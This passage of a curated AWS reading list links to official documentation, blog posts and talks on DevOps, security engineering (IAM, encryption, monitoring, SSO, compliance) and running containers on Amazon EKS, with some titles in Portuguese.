* [CI/CD on Amazon EKS using AWS CodeCommit, AWS CodePipeline, AWS CodeBuild, and FluxCD](https://aws.amazon.com/blogs/devops/ci-cd-on-amazon-eks-using-aws-codecommit-aws-codepipeline-aws-codebuild-and-fluxcd/)
* [Continuous Deployment to Kubernetes using AWS CodePipeline, AWS CodeCommit, AWS CodeBuild, Amazon ECR and AWS Lambda](https://aws.amazon.com/blogs/devops/continuous-deployment-to-kubernetes-using-aws-codepipeline-aws-codecommit-aws-codebuild-amazon-ecr-and-aws-lambda/)
* [AWS Fargate considerations](https://docs.aws.amazon.com/eks/latest/userguide/fargate.html#fargate-considerations)
* [Advanced environment customization with configuration files (.ebextensions)](https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/ebextensions.html)
* [Clone an Elastic Beanstalk environment](https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/using-features.managing.clone.html)
* [AWS X-Ray console](https://docs.aws.amazon.com/xray/latest/devguide/xray-console.html)
* [Debugging with Amazon CloudWatch Synthetics and AWS X-Ray](https://aws.amazon.com/blogs/devops/debugging-with-amazon-cloudwatch-synthetics-and-aws-x-ray/)
* [Integrating AWS X-Ray with other AWS services](https://docs.aws.amazon.com/xray/latest/devguide/xray-services.html)
* [Running the X-Ray daemon on Amazon ECS](https://docs.aws.amazon.com/xray/latest/devguide/xray-daemon-ecs.html)
* [Using ServiceLens to Monitor the Health of Your Applications](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/ServiceLens.html)
* [CloudWatch Logs Insights query syntax](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/CWL_QuerySyntax.html)
* [CloudWatch Logs Insights Sample queries](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/CWL_QuerySyntax-examples.html)
* [Announcing CloudTrail Insights: Identify and Respond to Unusual API Activity](https://aws.amazon.com/blogs/aws/announcing-cloudtrail-insights-identify-and-respond-to-unusual-api-activity/)
* [Creating a Trail for an Organization](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/creating-trail-organization.html)
* [Manage custom AWS Config rules with remediations using conformance packs](https://aws.amazon.com/blogs/mt/manage-custom-aws-config-rules-with-remediations-using-conformance-packs/)
* [How to create custom AWS Config rules with AWS CodeStar](https://aws.amazon.com/blogs/mt/how-to-create-custom-aws-config-rules-with-aws-codestar/)
* [New – Use CloudWatch Synthetics to Monitor Sites, API Endpoints, Web Workflows, and More](https://aws.amazon.com/blogs/aws/new-use-cloudwatch-synthetics-to-monitor-sites-api-endpoints-web-workflows-and-more/)
* [Running AWS commands from Slack using AWS Chatbot](https://aws.amazon.com/blogs/devops/running-aws-commands-from-slack-using-aws-chatbot/)
* [Introducing AWS Chatbot: ChatOps for AWS](https://aws.amazon.com/blogs/devops/introducing-aws-chatbot-chatops-for-aws/)
* [IT Governance in a Dynamic DevOps Environment](https://aws.amazon.com/blogs/devops/it-governance-in-a-dynamic-devops-environment/)
* [AWS Summit - DevOps Culture at Amazon](https://youtu.be/mBU3AJ3j1rg)
* [AWS re:Invent 2018: Moving to DevOps the Amazon Way](https://youtu.be/Pvb74TlV8SA)
* [Applying the Twelve-Factor App Methodology to Serverless Applications](https://aws.amazon.com/blogs/compute/applying-the-twelve-factor-app-methodology-to-serverless-applications/)
* [AWS Solutions - Distributed Load Testing on AWS](https://aws.amazon.com/solutions/implementations/distributed-load-testing-on-aws/)
* [Use Serverspec for test-driven development of infrastructure code](https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/use-serverspec-for-test-driven-development-of-infrastructure-code.html)
### Security Engineering on AWS
* [AWS Security Checklist](https://d1.awsstatic.com/whitepapers/Security/AWS_Security_Checklist.pdf)
* [AWS Security Reference Architecture (AWS SRA)](https://docs.aws.amazon.com/prescriptive-guidance/latest/security-reference-architecture/welcome.html)
* [AWS Startup Security Baseline (AWS SSB)](https://docs.aws.amazon.com/prescriptive-guidance/latest/aws-startup-security-baseline/controls-acct.html)
* [Privacy Features of AWS Services](https://aws.amazon.com/compliance/privacy-features/)
* [Shared Responsibility Model](https://aws.amazon.com/compliance/shared-responsibility-model/)
* [AWS Cloud Adoption Framework (CAF) - Security Perspective](https://d1.awsstatic.com/whitepapers/AWS_CAF_Security_Perspective.pdf)
* [Navegando na conformidade com a LGPD na AWS](https://d1.awsstatic.com/whitepapers/pt_BR/compliance/LGPD_Compliance_on_AWS.pdf)
* [NIST Cybersecurity Framework (CSF) - Aligning to the NIST CSF in the AWS Cloud](https://d0.awsstatic.com/whitepapers/compliance/NIST_Cybersecurity_Framework_CSF.pdf)
* [AWS Services in Scope by Compliance Program](https://aws.amazon.com/compliance/services-in-scope/)
* [PCI Compliance on AWS](https://aws.amazon.com/compliance/pci-dss-level-1-faqs/)
* [AWS Security Incident Response Guide](https://d1.awsstatic.com/whitepapers/aws_security_incident_response.pdf)
* [How to approach threat modeling](https://aws.amazon.com/blogs/security/how-to-approach-threat-modeling/)
* [Provable Security - Automated Reasoning](https://aws.amazon.com/security/provable-security/)
* [AWS IP Address Ranges](https://docs.aws.amazon.com/general/latest/gr/aws-ip-ranges.html)
* [IAM Best Practices](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)
* [Limitations on IAM Entities and Objects](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-limits.html)
* [IAM JSON Policy Elements Reference](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements.html)
* [IAM Policy Elements: Variables and Tags](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_variables.html)
* [IAM: Policies and Permissions](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html)
* [How to define least-privileged permissions for actions called by AWS services](https://aws.amazon.com/blogs/security/how-to-define-least-privileged-permissions-for-actions-called-by-aws-services/)
* [Create fine-grained session permissions using IAM managed policies](https://aws.amazon.com/blogs/security/create-fine-grained-session-permissions-using-iam-managed-policies/)
* [Permissions Boundaries for IAM Entities ](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html?icmpid=docs_iam_console)
* [How can I use permissions boundaries to limit the scope of IAM users and roles and prevent privilege escalation?](https://aws.amazon.com/premiumsupport/knowledge-center/iam-permission-boundaries/)
* [Policy evaluation logic](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html)
* [AWS Global Condition Context Keys](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html)
* [Creating a Condition with Multiple Keys or Values](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_multi-value-conditions.html)
* [How can I use IAM policy tags to restrict how an EC2 instance or EBS volume can be created?](https://aws.amazon.com/premiumsupport/knowledge-center/iam-policy-tags-restrict/)
* [Using Service-Linked Roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/using-service-linked-roles.html)
* [Approaches for authenticating external applications in a machine-to-machine scenario](https://aws.amazon.com/blogs/security/approaches-for-authenticating-external-applications-in-a-machine-to-machine-scenario/)
* [AWS Services That Work with IAM ](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_aws-services-that-work-with-iam.html)
* [Tighten S3 permissions for your IAM users and roles using access history of S3 actions](https://aws.amazon.com/blogs/security/tighten-s3-permissions-iam-users-and-roles-using-access-history-s3-actions/)
* [Automate analyzing your permissions using IAM access advisor APIs](https://aws.amazon.com/blogs/security/automate-analyzing-permissions-using-iam-access-advisor/)
* [Proving security at scale with automated reasoning](https://www.allthingsdistributed.com/2019/06/proving-security-at-scale-with-automated-reasoning.html)
* [How AWS uses automated reasoning to help you achieve security at scale (AWS Zelkova)](https://aws.amazon.com/blogs/security/protect-sensitive-data-in-the-cloud-with-automated-reasoning-zelkova/)
* [IAM Access Analyzer - Por que habilitar?](https://youtu.be/YcAtr2tKSfo)
* [Access Analyzer policy validation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-policy-validation.html)
* [Access Analyzer policy check reference](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-reference-policy-checks.html)
* [Generate policies based on access activity](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_generate-policy.html)
* [How can I grant a user Amazon S3 console access to only a certain bucket or folder?](https://aws.amazon.com/premiumsupport/knowledge-center/s3-console-access-certain-bucket/)
* [Announcing the Golden AMI Pipeline](https://aws.amazon.com/blogs/awsmarketplace/announcing-the-golden-ami-pipeline/)
* [Creating a Golden AMI Pipeline Integrated with Qualys for Vulnerability Assessments](https://aws.amazon.com/blogs/apn/creating-a-golden-ami-pipeline-integrated-with-qualys-for-vulnerability-assessments/)
* [Getting Started with Automation](https://docs.aws.amazon.com/systems-manager/latest/userguide/automation-setup.html)
* [Automation use cases](https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-automation.html#automation-use-cases)
* [Use AWS Fargate and Prowler to send security configuration findings about AWS services to Security Hub](https://aws.amazon.com/blogs/security/use-aws-fargate-prowler-send-security-configuration-findings-about-aws-services-security-hub/)
* [How can I use user data to replace a lost SSH key pair after the initial launch of my Amazon EC2 instance?](https://aws.amazon.com/premiumsupport/knowledge-center/user-data-replace-key-pair-ec2/)
* [How can I use Systems Manager automation to enforce that only IMDSv2 is used to access instance metadata from my Amazon EC2 instance?](https://aws.amazon.com/premiumsupport/knowledge-center/ssm-ec2-enforce-imdsv2/)
* [AWS re:Invent 2019: Security best practices for the Amazon EC2 instance metadata service (IMDSv2)](https://youtu.be/2B5bhZzayjI)
* [Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Service (IMDSv2)](https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/)
* [AWS re:Invent 2019: Deep dive on Amazon EBS](https://youtu.be/wsMWANWNoqQ)
* [Automating processes for handling and remediating AWS Abuse alerts](https://aws.amazon.com/blogs/mt/automating-processes-for-handling-and-remediating-aws-abuse-alerts/)
* [I received an abuse report from AWS about my resources– what should I do?](https://aws.amazon.com/premiumsupport/knowledge-center/aws-abuse-report/)
* [How do I report abuse of AWS resources?](https://aws.amazon.com/premiumsupport/knowledge-center/report-aws-abuse/)
* [What to Do If You Inadvertently Expose an AWS Access Key](https://aws.amazon.com/blogs/security/what-to-do-if-you-inadvertently-expose-an-aws-access-key/)
* [How to Detect and Automatically Revoke Unintended IAM Access with Amazon CloudWatch Events](https://aws.amazon.com/blogs/security/how-to-detect-and-automatically-revoke-unintended-iam-access-with-amazon-cloudwatch-events/)
* [AWS re:Invent 2018: How Nubank Automates Fine-Grained Security with IAM, AWS Lambda, & CI/CD](https://youtu.be/eQ549RvQDeI)
* [AWS re:Invent 2017: Use Amazon EC2 Systems Manager to Perform Automated Resilience](https://youtu.be/jihhLckop6A)
* [Enabling MFA Devices](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_enable.html)
* [IAM Tutorial: Enable users to manage their credentials and MFA settings](https://docs.aws.amazon.com/IAM/latest/UserGuide/tutorial_users-self-manage-mfa-and-creds.html)
* [Using MFA delete](https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingMFADelete.html)
* [AWS: Allows MFA-authenticated IAM users to manage their own credentials on the my security credentials page](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_aws_my-sec-creds-self-manage.html)
* [Using SSL/TLS to Encrypt a Connection to a DB Instance](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.SSL.html)
* [Best practices for securing sensitive data in AWS data stores](https://aws.amazon.com/blogs/database/best-practices-for-securing-sensitive-data-in-aws-data-stores/)
* [What S3 bucket policy should I use to comply with the AWS Config rule s3-bucket-ssl-requests-only?](https://aws.amazon.com/premiumsupport/knowledge-center/s3-bucket-policy-for-config-rule/)
* [Serving SSE-KMS encrypted content from S3 using CloudFront](https://aws.amazon.com/blogs/networking-and-content-delivery/serving-sse-kms-encrypted-content-from-s3-using-cloudfront/)
* [Analyzing encrypted S3 objects with Amazon Macie](https://docs.aws.amazon.com/macie/latest/user/discovery-supported-encryption-types.html)
* [Amazon Macie - User Guide](https://docs.aws.amazon.com/macie/latest/user/macie-user-guide.pdf)
* [Using managed data identifiers in Amazon Macie](https://docs.aws.amazon.com/macie/latest/user/managed-data-identifiers.html#managed-data-identifiers-pii)
* [Automate the archival and deletion of sensitive data using Amazon Macie](https://aws.amazon.com/blogs/big-data/automate-the-archival-and-deletion-of-sensitive-data-using-amazon-macie/)
* [Changing your Amazon S3 encryption from S3-Managed to AWS KMS](https://aws.amazon.com/blogs/storage/changing-your-amazon-s3-encryption-from-s3-managed-encryption-sse-s3-to-aws-key-management-service-sse-kms/)
* [What does Amazon S3 replicate?](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication-what-is-isnot-replicated.html)
* [Applying best practices for securing sensitive data in Amazon RDS](https://aws.amazon.com/blogs/database/applying-best-practices-for-securing-sensitive-data-in-amazon-rds/)
* [Performing SQL database client-side encryption for multi-Region high availability](https://aws.amazon.com/blogs/database/performing-sql-database-client-side-encryption-for-multi-region-high-availability/)
* [Monitor Amazon Aurora Database Activities Using DataSunrise Database Security](https://aws.amazon.com/es/blogs/database/monitor-amazon-aurora-database-activities-using-datasunrise-database-security/)
* [How to use AWS Secrets Manager to rotate credentials for all Amazon RDS database types, including Oracle](https://aws.amazon.com/blogs/security/how-to-use-aws-secrets-manager-rotate-credentials-amazon-rds-database-types-oracle/)
* [How to use AWS Secrets Manager to securely store and rotate SSH key pairs](https://aws.amazon.com/blogs/security/how-to-use-aws-secrets-manager-securely-store-rotate-ssh-key-pairs/)
* [Automatically rotate IAM user access keys using AWS Secrets Manager](https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/automatically-rotate-iam-user-access-keys-at-scale-with-aws-organizations-and-aws-secrets-manager.html?did=pg_card&trk=pg_card)
* [Post-quantum TLS now supported in AWS KMS](https://aws.amazon.com/blogs/security/post-quantum-tls-now-supported-in-aws-kms/)
* [AWS re:Inforce 2019: How Encryption Works in AWS](https://youtu.be/plv7PQZICCM)
* [How to Remediate Amazon Inspector Security Findings Automatically](https://aws.amazon.com/blogs/security/how-to-remediate-amazon-inspector-security-findings-automatically/)
* [Amazon Inspector agents](https://docs.aws.amazon.com/inspector/latest/userguide/inspector_agents.html)
* [GuardDuty EC2 finding types](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html)
* [Amazon GuardDuty Partners](https://aws.amazon.com/guardduty/resources/partners/)
* [Automated Response and Remediation with AWS Security Hub](https://aws.amazon.com/blogs/security/automated-response-and-remediation-with-aws-security-hub/)
* [Enabling AWS Security Hub integration with AWS Chatbot](https://aws.amazon.com/blogs/security/enabling-aws-security-hub-integration-with-aws-chatbot/)
* [AWS Security Hub - Managed insights](https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-managed-insights.html)
* [How to Enable Custom Actions in AWS Security Hub](https://aws.amazon.com/blogs/apn/how-to-enable-custom-actions-in-aws-security-hub/)
* [Automating AWS CIS Benchmark Alerts and Remediation using Eventbridge](https://github.com/ScaleSec/aws-eventbridge-cis-alarms/)
* [Amazon EventBridge - Events from AWS services](https://docs.aws.amazon.com/eventbridge/latest/userguide/eb-service-event.html)
* [Managed Renewal for ACM's Amazon-Issued Certificates ](https://docs.aws.amazon.com/acm/latest/userguide/managed-renewal.html)
* [Why did my ACM certificate fail automatic renewal?](https://aws.amazon.com/premiumsupport/knowledge-center/certificate-fails-to-auto-renew/)
* [Can I switch my ACM certificate’s validation method?](https://aws.amazon.com/premiumsupport/knowledge-center/switch-acm-certificate/)
* [What Is Amazon Kinesis Agent for Microsoft Windows?](https://docs.aws.amazon.com/kinesis-agent-windows/latest/userguide/what-is-kinesis-agent-windows.html)
* [Tutorial: Sending VPC Flow Logs to Splunk Using Amazon Kinesis Data Firehose ](https://docs.aws.amazon.com/firehose/latest/dev/vpc-splunk-tutorial.html)
* [Scale Amazon Kinesis Data Streams with AWS Application Auto Scaling](https://aws.amazon.com/blogs/big-data/scaling-amazon-kinesis-data-streams-with-aws-application-auto-scaling/)
* [Troubleshooting Kinesis Data Streams Consumers](https://docs.aws.amazon.com/streams/latest/dev/troubleshooting-consumers.html)
* [Format Options for ETL Inputs and Outputs in AWS Glue](https://docs.aws.amazon.com/glue/latest/dg/aws-glue-programming-etl-format.html)
* [How to Visualize and Refine Your Network’s Security by Adding Security Group IDs to Your VPC Flow Logs](https://aws.amazon.com/blogs/security/how-to-visualize-and-refine-your-networks-security-by-adding-security-group-ids-to-your-vpc-flow-logs/)
* [How to Use Nubeva with Amazon VPC Traffic Mirroring to Gain Decrypted Visibility of Your Network Traffic](https://aws.amazon.com/blogs/apn/how-to-use-nubeva-with-amazon-vpc-traffic-mirroring-to-gain-decrypted-visibility-of-your-network-traffic/)
* [New – VPC Traffic Mirroring – Capture & Inspect Network Traffic](https://aws.amazon.com/blogs/aws/new-vpc-traffic-mirroring/)
* [Hands-on walkthrough of the AWS Network Firewall flexible rules engine – Part 1](https://aws.amazon.com/blogs/security/hands-on-walkthrough-of-the-aws-network-firewall-flexible-rules-engine/)
* [Hands-on walkthrough of the AWS Network Firewall flexible rules engine – Part 2](https://aws.amazon.com/blogs/security/hands-on-walkthrough-of-the-aws-network-firewall-flexible-rules-engine-part-2/)
* [Securing messages published to Amazon SNS with AWS PrivateLink](https://aws.amazon.com/blogs/security/securing-messages-published-to-amazon-sns-with-aws-privatelink/)
* [Introducing AWS Client VPN to Securely Access AWS and On-Premises Resources](https://aws.amazon.com/blogs/networking-and-content-delivery/introducing-aws-client-vpn-to-securely-access-aws-and-on-premises-resources/)
* [AWS Client VPN - Scenarios and examples](https://docs.aws.amazon.com/vpn/latest/clientvpn-admin/scenario.html)
* [AWS Direct Connect + VPN](https://docs.aws.amazon.com/whitepapers/latest/aws-vpc-connectivity-options/aws-direct-connect-vpn.html)
* [How do I establish an AWS VPN over an AWS Direct Connect connection?](https://aws.amazon.com/premiumsupport/knowledge-center/create-vpn-direct-connect/)
* [Adding MACsec security to AWS Direct Connect connections](https://aws.amazon.com/blogs/networking-and-content-delivery/adding-macsec-security-to-aws-direct-connect-connections/)
* [How to add DNS filtering to your NAT instance with Squid](https://aws.amazon.com/blogs/security/how-to-add-dns-filtering-to-your-nat-instance-with-squid/)
* [Why is my presigned URL for an Amazon S3 bucket expiring before the expiration time that I specified?](https://aws.amazon.com/premiumsupport/knowledge-center/presigned-url-s3-bucket-expiration/)
* [How to Enhance the Security of Sensitive Customer Data by Using Amazon CloudFront Field-Level Encryption](https://aws.amazon.com/blogs/security/how-to-enhance-the-security-of-sensitive-customer-data-by-using-amazon-cloudfront-field-level-encryption/)
* [Authorization@Edge using cookies: Protect your Amazon CloudFront content from being downloaded by unauthenticated users](https://aws.amazon.com/blogs/networking-and-content-delivery/authorizationedge-using-cookies-protect-your-amazon-cloudfront-content-from-being-downloaded-by-unauthenticated-users/)
* [How do I use CloudFront to serve a static website hosted on Amazon S3?](https://aws.amazon.com/premiumsupport/knowledge-center/cloudfront-serve-static-website/)
* [Reduce DDoS Risks Using Amazon Route 53 and AWS Shield](https://aws.amazon.com/blogs/aws/reduce-ddos-risks-using-amazon-route-53-and-aws-shield/)
* [AWS Shield Threat Landscape report is now available](https://aws.amazon.com/blogs/security/aws-shield-threat-landscape-report-now-available/)
* [AWS re:Invent 2016: Mitigating DDoS Attacks on AWS: Five Vectors and Four Use Cases](https://youtu.be/w9fSW6qMktA)
* [AWS WAF Security Automations](https://aws.amazon.com/solutions/implementations/aws-waf-security-automations/)
* [Simplify Login with Application Load Balancer Built-in Authentication](https://aws.amazon.com/blogs/aws/built-in-authentication-in-alb/)
* [Application Load Balancers Now Support Multiple TLS Certificates With Smart Selection Using SNI](https://aws.amazon.com/blogs/aws/new-application-load-balancer-sni/)
* [Controlling and managing access to a REST API in API Gateway](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-control-access-to-api.html)
* [Introducing mutual TLS authentication for Amazon API Gateway](https://aws.amazon.com/blogs/compute/introducing-mutual-tls-authentication-for-amazon-api-gateway/)
* [Use API Gateway Lambda authorizers](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-use-lambda-authorizer.html)
* [Building ADFS Federation for your Web App using Amazon Cognito User Pools](https://aws.amazon.com/blogs/mobile/building-adfs-federation-for-your-web-app-using-amazon-cognito-user-pools/)
* [What's the difference between Amazon Cognito user pools and identity pools?](https://aws.amazon.com/premiumsupport/knowledge-center/cognito-user-pools-identity-pools/)
* [How do I set up an Amazon Cognito user pool as an authorizer on an API Gateway REST API?](https://aws.amazon.com/premiumsupport/knowledge-center/api-gateway-cognito-user-pool-authorizer/)
* [How to Use New Advanced Security Features for Amazon Cognito User Pools](https://aws.amazon.com/blogs/security/how-to-use-new-advanced-security-features-for-amazon-cognito-user-pools/)
* [Adding Advanced Security to a User Pool](https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pool-settings-advanced-security.html)
* [How to Enable Server-Side LDAPS for Your AWS Managed Microsoft AD Directory](https://aws.amazon.com/blogs/security/how-to-enable-ldaps-for-your-aws-microsoft-ad-directory/)
* [Integrações: Active Directory, Azure AD com AWS IAM e AWS Single Sign-On](https://aws.amazon.com/pt/blogs/aws-brasil/integracoes-active-directory-azure-adcom-awsiam-awssinglesignon/)
* [Field Notes: Integrating a Multi-Forest Source Environment with AWS SSO](https://aws.amazon.com/blogs/architecture/field-notes-integrating-a-multi-forest-source-environment-with-aws-sso/)
* [Field Notes: Integrating Active Directory Federation Service with AWS Single Sign-On](https://aws.amazon.com/blogs/architecture/field-notes-integrating-active-directory-federation-service-with-aws-single-sign-on/)
* [New AWS SSO gallery app simplifies Azure AD set-up with AWS](https://aws.amazon.com/about-aws/whats-new/2021/03/new-aws-sso-gallery-app-simplifies-azure-ad-set-up-with-aws/)
* [AWS SSO and Azure AD integration - step by step](https://controltower.aws-management.tools/aa/sso/azure_ad/)
* [How to use G Suite as an external identity provider for AWS SSO](https://aws.amazon.com/blogs/security/how-to-use-g-suite-as-external-identity-provider-aws-sso/)
* [The Next Evolution in AWS Single Sign-On](https://aws.amazon.com/blogs/aws/the-next-evolution-in-aws-single-sign-on/)
* [How to create and manage users within AWS Single Sign-On](https://aws.amazon.com/blogs/security/how-to-create-and-manage-users-within-aws-sso/)
* [How to bulk import users and groups from CSV into AWS SSO](https://aws.amazon.com/blogs/security/how-to-bulk-import-users-and-groups-from-csv-into-aws-sso/)
* [AWS SSO - Supported applications](https://docs.aws.amazon.com/singlesignon/latest/userguide/saasapps.html#saasapps-supported)
* [Enabling custom identity broker access to the AWS console](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_enable-console-custom-url.html)
* [Identity federation in AWS](https://aws.amazon.com/identity/federation/)
* [SAML Security Cheat Sheet - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html)
* [Git pre-commit validation of AWS CloudFormation templates with cfn-lint](https://aws.amazon.com/blogs/mt/git-pre-commit-validation-of-aws-cloudformation-templates-with-cfn-lint/)
* [How to Use AWS Config to Monitor for and Respond to Amazon S3 Buckets Allowing Public Access](https://aws.amazon.com/blogs/security/how-to-use-aws-config-to-monitor-for-and-respond-to-amazon-s3-buckets-allowing-public-access/)
* [AWS Config: Checking for Compliance with New Managed Rule Options](https://aws.amazon.com/blogs/devops/aws-config-checking-for-compliance-with-new-managed-rule-options/)
* [Conformance Pack Sample Templates](https://docs.aws.amazon.com/config/latest/developerguide/conformancepack-sample-templates.html)
* [AWS Config best practices](https://aws.amazon.com/blogs/mt/aws-config-best-practices/)
* [Using AWS Service Catalog Constraints](https://docs.aws.amazon.com/servicecatalog/latest/adminguide/constraints.html)
* [Building a React Frontend for Service Catalog with AWS Amplify](https://aws.amazon.com/blogs/opensource/react-frontend-service-catalog-aws-amplify/)
* [AWS Landing Zone](https://aws.amazon.com/solutions/aws-landing-zone/)
* [AWS Terraform Landing Zone (TLZ) Accelerator](https://www.hashicorp.com/resources/aws-terraform-landing-zone-tlz-accelerator)
* [Introducing the Cloud Development Kit for Terraform (Preview)](https://aws.amazon.com/blogs/developer/introducing-the-cloud-development-kit-for-terraform-preview/)
* [AWS Control Tower](https://hackmd.io/@matheuslra/r1o5k2-Xw)
* [AWS Control Tower – Set up & Govern a Multi-Account AWS Environment](https://aws.amazon.com/blogs/aws/aws-control-tower-set-up-govern-a-multi-account-aws-environment/)
* [Guardrail Reference](https://docs.aws.amazon.com/controltower/latest/userguide/guardrails-reference.html)
* [AWS Solutions - Customizations for AWS Control Tower](https://aws.amazon.com/solutions/implementations/customizations-for-aws-control-tower/)
* [AWS Centralized Logging](https://aws.amazon.com/solutions/centralized-logging/)
* [Vulnerability and Penetration Testing](https://aws.amazon.com/security/penetration-testing/)
* [Penetration Testing in the AWS Cloud: What You Need to Know](https://rhinosecuritylabs.com/penetration-testing/penetration-testing-aws-cloud-need-know/)
* [Standardized Architecture for PCI DSS on the AWS Cloud](https://docs.aws.amazon.com/quickstart/latest/compliance-pci/welcome.html)
* [Tutorial: Blocking IP Addresses That Submit Bad Requests ](https://docs.aws.amazon.com/waf/latest/developerguide/tutorials-4xx-blocking.html)
* [Architectures to exemplify digital signature and secure message transmission to the Brazilian Instant Payment System (PIX)](https://github.com/aws-samples/pix-proxy-samples)
* [Raising the bar on storage: How to improve your disaster recovery, ransomware prevention, and backup strategy](https://aws.amazon.com/blogs/publicsector/raise-bar-storage-how-improve-disaster-recovery-ransomware-prevention-backup-strategy/)
### Running Containers on Amazon Elastic Kubernetes Service
* [Amazon Elastic Kubernetes Service (EKS) Primer](https://www.aws.training/Details/eLearning?id=32894)
* [Containers na AWS - Immersion Day](https://pages.awscloud.com/LATAM_TRAINCERT_WEBINAR_immersion-day-containers-video-series_20200331_7010z000001LIBT_LPVideos-CostOptimizationVideoSeries.html)
* [Introducing the AWS Controllers for Kubernetes (ACK)](https://aws.amazon.com/blogs/containers/aws-controllers-for-kubernetes-ack/)
* [Deep Dive into firecracker-containerd](https://youtu.be/0wEiizErKZw)
* [16 Benefícios do Amazon EKS para se considerar quando escolher sua opção de deploy](https://aws.amazon.com/pt/blogs/aws-brasil/16-beneficios-do-amazon-eks-para-se-considerar-quando-escolher-sua-opcao-de-deploy/)
* [Boas práticas de utilização de instâncias Spot no Amazon EKS](https://aws.amazon.com/pt/blogs/aws-brasil/boas-praticas-de-utilizacao-de-instancias-spot-no-amazon-eks/)
* [Self-managed nodes](https://docs.aws.amazon.com/eks/latest/userguide/worker.html)
* [Managed node groups](https://docs.aws.amazon.com/eks/latest/userguide/managed-node-groups.html)
* [The eksctl command line utility](https://docs.aws.amazon.com/eks/latest/userguide/eksctl.html)
* [eksctl - The official CLI for Amazon EKS](https://eksctl.io/)
* [Managing Amazon EKS Clusters with Rancher](https://aws.amazon.com/blogs/opensource/managing-eks-clusters-rancher/)
* [Cluster VPC considerations](https://docs.aws.amazon.com/eks/latest/userguide/network_reqs.html)
* [Deploy a Kubernetes Application](https://aws.amazon.com/getting-started/hands-on/deploy-kubernetes-app-amazon-eks/)
* [Operating a multi-regional stateless application using Amazon EKS](https://aws.amazon.com/blogs/containers/operating-a-multi-regional-stateless-application-using-amazon-eks/)
* [How to build container images with Amazon EKS on Fargate](https://aws.amazon.com/blogs/containers/how-to-build-container-images-with-amazon-eks-on-fargate/)
* [Speeding up Windows container launch times with EC2 Image builder and image cache strategy](https://aws.amazon.com/blogs/containers/speeding-up-windows-container-launch-times-with-ec2-image-builder-and-image-cache-strategy/)
* [How to capture application logs when using Amazon EKS on AWS Fargate](https://aws.amazon.com/pt/blogs/containers/how-to-capture-application-logs-when-using-amazon-eks-on-aws-fargate/)
* [Streaming logs from Amazon EKS Windows pods to Amazon CloudWatch Logs using Fluentd](https://aws.amazon.com/blogs/containers/streaming-logs-from-amazon-eks-windows-pods-to-amazon-cloudwatch-logs-using-fluentd/)
* [Using Amazon FSx for Windows File Server as persistent storage on Windows Containers](https://aws.amazon.com/blogs/containers/using-amazon-fsx-for-windows-file-server-as-persistent-storage-on-windows-containers/)
* [Using the FSx for Lustre CSI Driver with Amazon EKS](https://aws.amazon.com/blogs/opensource/using-fsx-lustre-csi-driver-amazon-eks/)
* [Fluent Bit for Amazon EKS on AWS Fargate is here](https://aws.amazon.com/pt/blogs/containers/fluent-bit-for-amazon-eks-on-aws-fargate-is-here/)
* [Install SSM Agent on Amazon EKS worker nodes by using Kubernetes DaemonSet](https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/install-ssm-agent-on-amazon-eks-worker-nodes-by-using-kubernetes-daemonset.html)
* [New – Use CloudWatch Synthetics to Monitor Sites, API Endpoints, Web Workflows, and More](https://aws.amazon.com/blogs/aws/new-use-cloudwatch-synthetics-to-monitor-sites-api-endpoints-web-workflows-and-more/)
* [Visual monitoring of applications with Amazon CloudWatch Synthetics](https://aws.amazon.com/blogs/mt/visual-monitoring-of-applications-with-amazon-cloudwatch-synthetics/)
* [Getting started with AWS App Mesh and Amazon EKS](https://aws.amazon.com/blogs/containers/getting-started-with-app-mesh-and-eks/)
* [Using sidecar injection on Amazon EKS with AWS App Mesh](https://aws.amazon.com/blogs/containers/using-sidecar-injection-on-amazon-eks-with-aws-app-mesh/)
* [Amazon EKS networking](https://docs.aws.amazon.com/eks/latest/userguide/eks-networking.html)
* [Pod networking (CNI)](https://docs.aws.amazon.com/eks/latest/userguide/pod-networking.html)
* [Optimize IP addresses usage by pods in your Amazon EKS cluster](https://aws.amazon.com/blogs/containers/optimize-ip-addresses-usage-by-pods-in-your-amazon-eks-cluster/)
* [De-mystifying cluster networking for Amazon EKS worker nodes](https://aws.amazon.com/blogs/containers/de-mystifying-cluster-networking-for-amazon-eks-worker-nodes/)
